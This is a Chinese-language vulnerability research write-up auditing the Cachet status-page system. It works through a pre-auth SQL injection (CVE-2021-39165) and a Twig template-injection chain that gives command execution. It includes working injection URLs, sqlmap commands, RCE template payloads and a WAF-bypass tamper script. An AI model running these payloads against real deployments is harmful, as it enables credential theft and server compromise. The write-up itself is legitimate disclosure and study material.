事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程。本文提到的漏洞《Cachet SQL注入漏洞(CVE-2021-39165)》已经修复,也请读者勿使用该漏洞进行未授权测试,否则作者不承担任何责任
0x01 故事的起源
一个百无聊赖的周日晚上,我在知识星球闲逛,发现有一个匿名用户一连向我提出了两个问题:
本来不是很想回答这两个问题,一是感觉比较基础,二是现在大部分人都卷Java去了,关注PHP的其实不多。不过我搜索了一下自己的星球,发现我的确没有讲过如何调试PHP代码,那么回答一下这个问题也未尝不可。
既然如此,我就打开自己常用的PHP IDE之一PHPStorm(另一款是VSCode),看了看硬盘里落满灰尘的PHP代码,要不就是几年前的版本要不就是没法做演示的非开源项目。如果要新写一篇教程,最好还是上网上找个新的CMS做演示。
于是我打开了Github,搜索“PHP”关键字,点进了PHP这个话题。PHP话题下有几类开源项目,一是一些PHP框架和库,排在前面的主要是Laravel、symfony、Yii、guzzle、PHPMailer、composer等;二是CMS和网站应用,排在前面的有matomo、nextcloud、monica、Cachet等;三是一些README和教学项目,比如awesome-php、DesignPatternsPHP等。
做演示自然选择开箱即用的第二类,于是我挑了一个功能常见且简单的Cachet。
当天晚上我自己搭建、调试、运行起了Cachet这个CMS,并写了一篇简单的教程发在星球里:
本来这个故事到此就结束了,但是不安分的我当时就在想,既然搭都搭起来了,那不如就对其做一遍审计吧。
0x02 Cachet代码审计
Cachet是一款基于Laravel框架开发的状态页面(Statuspage)系统。Statuspage是云平台流行后慢慢兴起的一类系统,作用是向外界展示当前自己各个服务是否在正常运行。国外很多大型互联网平台都有Statuspage,最著名的有 Github、Twitter、Facebook、Amazon AWS等。
Statuspage中占据领导地位的是Statuspage.io,隶属于Atlassian。但毕竟这是一个付费的系统,Cachet得益于自己开源的优势,也有不少拥趸,在Github上有12k多关注。
Cachet最新的稳定版本是2.3.18,基于Laravel 5.2开发,我将其拉下来安装好后开始审计。
经过验证,dev版本的代码可能有所差异(主要是后台getshell部分的POC利用链不一样),本文仅基于稳定版做审计。
Laravel框架的CMS审计,我主要关注下面几个点:
- 网站路由
- 控制器(app/Http/Controllers)
- 中间件(app/Http/Middleware)
- Model(app/Models)
- 网站配置(config)
- 第三方扩展(composer.json)
先从路由开始看起,以app/Http/Routes/StatusPageRoutes.php
为例:
$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
$router->get('/', [
'as' => 'status-page',
'uses' => 'StatusPageController@showIndex',
]);
$router->get('incident/{incident}', [
'as' => 'incident',
'uses' => 'StatusPageController@showIncident',
]);
$router->get('metrics/{metric}', [
'as' => 'metrics',
'uses' => 'StatusPageController@getMetrics',
]);
$router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});
其中可以看出的信息是:
- 某个path所对应的Controller和方法
- 整个模块使用的中间件
前者比较好理解,中间件的作用通常是做权限的校验、全局信息的提取等。这个route组合用了三个中间件web、ready和localize。我们可以在app/Http/Kernel.php找到这三个名字对应的中间件类,他们的作用是:
- web是多个中间件的组合,作用主要是设置Cookie和session、校验csrf token等
- ready用于检查当前CMS是否有初始化,如果没有,则跳到初始化的页面
- localize主要用于根据请求中的Accept-Language来展示不同语言的页面
接着我会主要关注那些不校验权限的Controller(就是没有admin和auth中间件的Controller)。我关注到了app/Http/Controllers/Api/ComponentController.php的getComponents方法:
/**
* Get all components.
*
* @return \Illuminate\Http\JsonResponse
*/
public function getComponents()
{
if (app(Guard::class)->check()) {
$components = Component::query();
} else {
$components = Component::enabled();
}
$components->search(Binput::except(['sort', 'order', 'per_page']));
if ($sortBy = Binput::get('sort')) {
$direction = Binput::has('order') && Binput::get('order') == 'desc';
$components->sort($sortBy, $direction);
}
$components = $components->paginate(Binput::get('per_page', 20));
return $this->paginator($components, Request::instance());
}
其中有两个关键点:
$components->search(Binput::except(['sort', 'order', 'per_page']));
$components->sort($sortBy, $direction);
sort和search方法都不是Laravel自带的Model方法,这种情况一般是自定义的scope。scope是定义在Model中可以被重用的方法,他们都以scope
开头。我们可以在app/Models/Traits/SortableTrait.php中找到scopeSort方法:
trait SortableTrait
{
/**
* Adds a sort scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param string $column
* @param string $direction
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSort(Builder $query, $column, $direction)
{
if (!in_array($column, $this->sortable)) {
return $query;
}
return $query->orderBy($column, $direction);
}
}
$column
经过了in_array
的校验,$direction
传入的是bool类型,这两者均无法传入恶意参数。
我们再看看scopeSearch方法,在app/Models/Traits/SearchableTrait.php中:
<?php
trait SearchableTrait
{
/**
* Adds a search scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param array $search
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSearch(Builder $query, array $search = [])
{
if (empty($search)) {
return $query;
}
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
}
}
Cachet在调用search时传入的是Binput::except(['sort', 'order', 'per_page'])
,这个返回值是将用户完整的GPC输入除掉sort、order、per_page三个key组成的数组。也就是说,传入scopeSearch的这个$search
数组的键、值都是用户可控的。
不过,可见这里使用了array_intersect
函数对$search
数组进行判断,如果返回为false,则不会继续往下执行。
大概看了一圈Cachet的代码,没有太多功能点。总结起来它的特点是:
- 有一部分代码逻辑在Controller中,但其还有大量逻辑放在CommandHandler中。
- “Commands & Handlers”逻辑用于在Laravel中实现命令模式
- 这个设计模式分割了输入和逻辑操作(Source和Sink),让代码审计变得麻烦了许多
- 整站前台的功能很少,权限检查在中间件中,配置如下
- 前台和API中的读取操作(GET)不需要用户权限
- API中的写入操作(POST、PUT、DELETE)需要用户权限
- 后台所有操作都需要用户权限
- 一些特殊操作都会经过逻辑判断,比如上文说到的两个操作,作者相对比较有安全意识
- Cachet默认使用Laravel-Binput做用户输入,而这个库对主要是用于做安全过滤,但这个过滤操作也为后面实战中绕过WAF提供了极大帮助
相信大家审计中经常会遇到类似情况,前台功能很少导致进展不下去,那么多看看框架部分的代码也许能发现一些问题。
遇到困难不要慌,去冰箱里拿了一瓶元气森林冷静冷静,重新回来看代码。回看前面的scopeSearch方法,我突然发现了问题:
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
array_intersect
这个函数,他的功能是计算两个输入数组的交集,乍一看这里处理好像经过了校验,用户输入的数组的key如果不在$this->searchable
中,就无法取到交集。
但是可以想象一下,我的输入中只要有一个key在$this->searchable
中,那么这里的交集就可以取到至少一个值,这个if语句就不会成立。所以,这个检查形同虚设,用户输入的数组$search
被完整传入where()
语句中。
0x03 Laravel代码审计
熟悉Laravel的同学对where()
应该不陌生,简单介绍一下用法。我们可以通过传入两个参数key和value,来构造一个WHERE条件:
DB::table('dual')->where('id', 1);
// 生成的WHERE条件是:WHERE id = 1
如果传入的是三个参数,则第二个参数会认为是条件表达式中的符号,比如:
DB::table('dual')->where('id', '>', 18);
// 生成的WHERE条件是:WHERE id > 18
当然where也是支持传入数组的,我看可以将多个条件组合成一个数组传入where函数中,比如:
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
// 生成的WHERE条件是:WHERE id > 18 AND title LIKE '%example%'
那么,思考下面三个代码在Laravel中是否可能导致SQL注入:
where($input, '=', 1)
当where的第一个参数被用户控制where('id', $input, 1)
当where的第二个参数被用户控制,且存在第三个参数where($input)
当where只有一个参数且被用户控制
这三个代码对应着不同情况,第一种是key被控制,第二种是符号被控制,第三种是整个条件都被控制。
测试的过程就不说了,经过测试,我获取了下面的结果:
- 当第一个参数key可控时,传入任意字符串都会报错,具体的错误为“unknown column”,但类似反引号、双引号这样的定界符将会被转义,所以无法逃逸出field字段进行注入
- 当第二个参数符号可控时,输入非符号字符不会有任何报错,也不存在注入
- 当整体可控时,相当于可以传入多个key、符号和value,但经过前两者的测试,key和符号位都是不能注入的,value就更不可能
仿佛又陷入了困境。
我尝试debug进入where()
函数看了看它内部的实现,src/Illuminate/Database/Query/Builder.php
:
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
// If the column is an array, we will assume it is an array of key-value pairs
// and can add them each as a where clause. We will maintain the boolean we
// received when the method was called and pass it into the nested where.
if (is_array($column)) {
return $this->addArrayOfWheres($column, $boolean);
}
// ...
// If the given operator is not found in the list of valid operators we will
// assume that the developer is just short-cutting the '=' operators and
// we will set the operators to '=' and set the values appropriately.
if (! in_array(strtolower($operator), $this->operators, true) &&
! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
list($value, $operator) = [$operator, '='];
}
当第一个参数是数组时,将会执行到addArrayOfWheres()
方法。另外从上面的第二个if语句也可以看出,这里面对参数$operator
做了校验,这也是其无法注入的原因。
跟进一下addArrayOfWheres()
方法:
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
public function whereNested(Closure $callback, $boolean = 'and')
{
$query = $this->forNestedWhere();
call_user_func($callback, $query);
return $this->addNestedWhereQuery($query, $boolean);
}
可以观察到,这里面有个很重要的回调,遍历了用户输入的第一个数组参数$column
,当发现其键名是一个数字,且键值是一个数组时,将会调用[$query, $method]
,也就是$this->where()
,并将完整的$value
数组作为参数列表传入。
这个过程就是为了实现上面说到的where()
的第三种用法:
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
所以,通过这个方法,我可以做到了一件事情:从控制where()
的第一个参数,到能够完整控制where()
的所有参数。
那么,再回看where函数的参数列表:
public function where($column, $operator = null, $value = null, $boolean = 'and')
第四个$boolean
参数就格外显眼了,这是控制WHERE条件连接逻辑的参数,默认是and。这个$boolean
既不是SQL语句中的“键”,也不是SQL语句中的“值”,而就是SQL语句的代码,如果没有校验,一定存在SQL注入。
事实证明,这里并没有经过校验。我将debug模式打开,并注释了抑制报错的逻辑,即可在页面上看到SQL注入的报错:
1[3]
参数可以注入任何语句,所以这里存在一个SQL注入漏洞。而且因为这个API接口是GET请求,所以无需用户权限,这是一个无限制的前台SQL注入。
Laravel的这个数组特性可以类比于6年前我第一次发现的ThinkPHP3系列SQL注入。当时的ThinkPHP注入是我在乌云乃至安全圈站稳脚跟的一批漏洞,它开创了使用数组进行框架ORM注入的先河,其影响和其后续类似的漏洞也一直持续到今天。遗憾的是,Laravel的这个问题是出现在where()
的第一个参数,官方并不认为这是框架的问题。
0x04 SQL注入利用
回到Cachet。默认情况下Cachet的任何报错都不会有详情,只会返回一个500错误。且Laravel不支持堆叠注入,那么要利用这个漏洞,就有两种方式:
- 通过UNION SELECT注入直接获取数据
- 通过BOOL盲注获取数据
UNION肯定是最理想的,但是这里无法使用,原因是用户的这个输入会经过两次字段数量不同的SQL语句,会导致其中至少有一个SQL语句在UNION SELECT的时候出错而退出。
Bool盲注没有任何问题,我本地是Postgres数据库,所以以其为例。
构造一个能够显示数据的请求:
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+
将and 1=1修改为and 1=2,数据消失了:
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+
说明盲注可以利用,于是我选择使用SQLMap来利用漏洞。SQLMap默认情况下将整个参数替换成SQL注入的Payload,而这个注入点需要前缀和后缀,需要对参数进行修改。
我先使用一个能够爆出数据的URL,比如/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+
,在这个括号后面增加个星号,然后作为-u
目标进行检测即可:
python sqlmap.py -u "http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"
注入点被SQLMap识别了。因为表结构已经知道,成功获取用户、密码:
0x05 后台代码审计
这个注入漏洞的优势是无需用户权限,但劣势是无法堆叠执行,原因我在星球的这篇帖子里有介绍过(虽然帖子里说的是ThinkPHP)。主要是在初始化PDO的时候设置了PDO::ATTR_EMULATE_PREPARES
为false,而数据库默认的参数化查询不允许prepare多个SQL语句。
无法堆叠执行的结果就是没法执行UPDATE语句,我只能通过注入获取一些信息,想要进一步执行代码,还需要继续审计。
接下来的审计我主要是在看后台逻辑,挖掘后台漏洞建议是黑盒结合白盒,这样会更快,原因是后台可能有很多常见的敏感操作,比如文件上传、编辑等,这些操作有时候可能直接抓包一改就能测出漏洞,都不需要代码审计了。
Cachet的后台还算相对安全,没有文件操作的逻辑,唯一一个上传逻辑是“Banner Image”的修改,但并不存在漏洞。
这时候我关注到了一个功能,Incident Templates,用于在报告事故的时候简化详情填写的操作。这个功能支持解析Twig模板语言:
对于Twig模板的解析是在API请求中,用API创建或编辑Incident对象的时候会使用到Incident Templates,进而执行模板引擎。
利用时需要现在Web后台添加一个Incident Template,填写好Twig模板,记下名字。再发送下面这个数据包来执行名为“ssti”的模板,获得结果:
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: QLGMRm5N8bUjVxbdLF6m
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti
其中X-Cachet-Token是注入时获取的用户的API Key。我添加了一个内容是{{ 233 * 233 }}
的Incident Template,渲染结果被成功返回在API的结果中:
Twig是PHP的一个著名的模板引擎,相比于其他语言的模板引擎,它提供了更安全的沙盒模式。默认模式下模板引擎没有特殊限制,而沙盒模式下只能使用白名单内的tag和filter。
Cachet中没有使用沙盒模式,所以我不做深入研究。普通模式想要执行恶意代码,需要借助一些内置的tag、filter,或者上下文中的危险对象。在Twig v1.41、v2.10和v3后,增加了map
和filter
这两个filter,可以直接用来执行任意函数:
{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}
但是Cachet v2.3.18中使用的是v1.40.1,刚好不存在这两个filter。那么旧版本如何来利用呢?
PortSwigger曾在2015年发表过一篇模板注入的文章《Server-Side Template Injection》,里面介绍过当时的Twig模板注入方法:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
_self
是Twig中的一个默认的上下文对象,指代的是当前Template,其中的env
属性是一个Twig_Environment
对象。Twig_Environment
类的registerUndefinedFilterCallback
和getFilter
就用来注册和执行回调函数,通过这两次调用,即可构造一个任意命令执行的利用链。
但是,这个执行命令的方法在Twig v1.20.0中被官方修复了:https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430,修复方法是发现object是当前对象时,则不进行属性的获取,下面这个if语句根本不会进去:
// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
if (isset($object->$item) || array_key_exists((string) $item, $object)) {
if ($isDefinedTest) {
return true;
}
if ($this->env->hasExtension('sandbox')) {
$this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
}
return $object->$item;
}
}
这个修改逻辑是科学的,因为Twig中正常只允许访问一个对象的public属性和方法,但因为_self
指向的是$this
,而$this
可以访问父类的protected属性,所以才绕过了对作用域的限制,访问到了env
。这个修复对此作了加强,让_self
的表现和其他对象相同了。
另外,_self.getEnvironment()
原本也可以访问env
,这个修复也一起被干掉了。
Cachet使用rcrowe/twigbridge来将twig集成进Laravel框架,按照composer.lock中的版本号来肯定高于v1.20.0(实际是v1.40.1),也就是说,我也无法使用这个Payload做命令执行。
0x06 寻找Twig利用链与代码执行
Cachet中使用了下面这段代码来渲染Twig模板:
protected function parseIncidentTemplate($templateSlug, $vars)
{
if ($vars === null) {
$vars = [];
}
$this->twig->setLoader(new Twig_Loader_String());
$template = IncidentTemplate::forSlug($templateSlug)->first();
return $this->twig->render($template->template, $vars);
}
其中$vars
是用户从POST中传入的一个数组,这意味着注入到模板中的变量只是简单的字符串数组,没有任何对象。再加上前文说到的_self
对象也被限制了,我发现很难找到可以被利用的方法。
此时我关注到了rcrowe/twigbridge这个库。rcrowe/twigbridge用于在Laravel和Twig之间建立一个桥梁,让Laravel框架可以直接使用twig模板引擎。
根据Laravel的依赖注入、控制反转的设计模式,如果要实现“桥梁”的功能,那么就需要编写一个Service Provider,在Service Provider中对目标对象进行初始化,并放在容器中。
我在rcrowe/twigbridge的ServiceProvider中下了断点,捋了捋Twig初始化的过程,发现一个有趣的点:
baseTemplateClass
不是默认的\Twig\Template
,而是一个自定义的TwigBridge\Twig\Template
。baseTemplateClass
就是在模板中,_self
指向的那个对象的基类,是一个很重要的类。
在src/Twig/Template.php中,我发现$context
中有一个看起来很特殊的对象__env
:
/**
* {@inheritdoc}
*/
public function display(array $context, array $blocks = [])
{
if (!isset($context['__env'])) {
$context = $this->env->mergeShared($context);
}
if ($this->shouldFireEvents()) {
$context = $this->fireEvents($context);
}
parent::display($context, $blocks);
}
在此处下断点可以看到,这个__env
是一个\Illuminate\View\Factory
对象,原来是Twig共享了Laravel原生View模板引擎中的全局变量。
那么,我们可以找找\Illuminate\View\Factory
类中是否有危险属性和函数。\Illuminate\Events\Dispatcher
是Factory类的属性,其中存在一对事件监听函数:
public function listen($events, $listener, $priority = 0)
{
foreach ((array) $events as $event) {
if (Str::contains($event, '*')) {
$this->setupWildcardListen($event, $listener);
} else {
$this->listeners[$event][$priority][] = $this->makeListener($listener);
unset($this->sorted[$event]);
}
}
}
public function fire($event, $payload = [], $halt = false)
{
// ...
foreach ($this->getListeners($event) as $listener) {
$response = call_user_func_array($listener, $payload);
它的限制主要是,回调函数必须是一个可以被自动创建与初始化的类方法,比如静态方法。我很快我找到了一对合适的回调\Symfony\Component\VarDumper\VarDumper
,我们可以先调用setHandler将$handler
设置成任意函数,再调用dump
来执行:
class VarDumper
{
private static $handler;
public static function dump($var)
{
// ...
return call_user_func(self::$handler, $var);
}
public static function setHandler(callable $callable = null)
{
$prevHandler = self::$handler;
self::$handler = $callable;
return $prevHandler;
}
}
构造出的模板代码如下,成功执行任意命令:
{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}
除了__env
外,上下文中还被注入了一个app
变量,这是一个\Illuminate\Foundation\Application
对象,它的利用链就更简单了,因为其中有一个函数可以直接用来执行任意代码:
public function call($callback, array $parameters = [], $defaultMethod = null)
{
if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
return $this->callClass($callback, $parameters, $defaultMethod);
}
$dependencies = $this->getMethodDependencies($callback, $parameters);
return call_user_func_array($callback, $dependencies);
}
所以,我构造了一个模板代码来执行任意PHP函数,这个方法相对简单很多:
{{ app.call('md5', ['123456']) }}
至此,我又搞定了后台代码执行。两个漏洞组合起来,就可以成功拿下Cachet系统权限。
0x07 走向Bug Bounty
前面说过,国外大量大厂都会使用Statuspage,所以我跑了一下hackerone、bugcrowd中使用了Cachet系统的厂商:
不多,大部分厂商还是在用Statuspage.io。
在实战中,我遇到了一个比较棘手的问题,大量厂商使用了WAF,这让GET型的注入变得很麻烦。解决这个问题的方法还是回归到代码审计中,Cachet获取用户输入是使用graham-campbell/binput,我在前面审计的时候发现其在获取输入的基础上会做一次过滤:
public function get($key, $default = null, $trim = true, $clean = true)
{
$value = $this->request->input($key, $default);
return $this->clean($value, $trim, $clean);
}
跟进clean()
我发现这个库最终对用户的输入做了一次处理:
protected function process($str)
{
$str = $this->removeInvisibleCharacters($str);
//...
}
protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
$nonDisplayables = [];
if ($urlEncoded) {
$nonDisplayables[] = '/%0[0-8bcef]/';
$nonDisplayables[] = '/%1[0-9a-f]/';
}
$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
do {
$str = preg_replace($nonDisplayables, '', $str, -1, $count);
} while ($count);
return $str;
}
removeInvisibleCharacters()
方法将输入中的所有控制字符给替换成空了。那么,这个特性可以用于绕过WAF。
正常的注入语句会被WAF拦截:
在关键字OR
中间插入一个控制字符%01
,即可绕过WAF正常注入了:
我写了一个简单的SQLMap Tamper来帮我进行这个处理:
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Add %01 to all the keyword
>>> tamper("1 AND '1'='1")
"1 A%01ND '1'='1"
"""
payload_list = list(payload)
offset = 0
for g in KEYWORD_PATTERN.finditer(payload):
start = g.start()
end = g.end()
m = (start + end) // 2
payload_list.insert(offset + m, '%01')
offset += 1
return ''.join(payload_list)
使用这个tamper:
python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
简单提交了几个有Bug Bounty的厂商,均已得到了确认:
漏洞时间线
本文涉及的漏洞已经提交给Cachet官方,但是官方开发者不是很活跃,一直没有回应。在issue中找到了一个fork的厂商,相对比较活跃,也可以联系到维护人,于是以fork厂商的身份对漏洞进行了通报。
以下是漏洞的生命时间线: